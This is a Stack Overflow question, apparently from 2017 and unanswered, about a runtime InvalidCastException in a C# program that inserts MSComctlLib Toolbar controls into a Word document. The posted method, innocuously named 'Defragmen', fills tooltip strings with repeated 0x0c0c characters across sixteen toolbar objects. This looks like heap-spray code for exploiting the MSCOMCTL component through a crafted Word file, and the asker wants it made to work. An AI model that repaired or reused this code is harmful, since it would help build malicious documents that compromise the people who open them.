C# An unhandled exception of type 'System.InvalidCastException'

1

I'm trying to compile a existing C# project using visual Studio 2015. It compiles good, but runtime getting following error:

An unhandled exception of type 'System.InvalidCastException' occurred in MemoryManager.exe

Additional information: Unable to cast COM object of type 'mscomctl.ToolbarClass' to interface type 'mscomctl.IToolbar'. This operation failed because the QueryInterface call on the COM component for the interface with IID '{66833FE4-8583-11D1-B16A-00C0F0283628}' failed due to the following error: Library not registered. (Exception from HRESULT: 0x8002801D (TYPE_E_LIBNOTREGISTERED)).

Code:

private void Defragmen(Microsoft.Office.Interop.Word.Document objDoc, Microsoft.Office.Interop.Word.InlineShape[] ocx)
{
            string paddingB = "\u0c0c\u0c0c";
            while (paddingB.Length < 0x60 / 2)
            {
                paddingB += paddingB;
            }
            string objAllocB = paddingB.Substring(0, 0x5a / 2);

            mscomctl.Toolbar[] tabArrayB = new mscomctl.Toolbar[16];
            ocx[2] = objDoc.InlineShapes.AddOLEControl("MSComctlLib.Toolbar");

            for (int j = 0; j < 16; j++)
            {
                tabArrayB[j] = (mscomctl.Toolbar)ocx[2].OLEFormat.Object;
                tabArrayB[j].Buttons.Add().ToolTipText = objAllocB;
            }

}

Can anyone tell me, what need to be changed to get it working.

c#
asked on Stack Overflow Mar 24, 2017 by Dev.K.

0 Answers

Nobody has answered this question yet.


User contributions licensed under CC BY-SA 3.0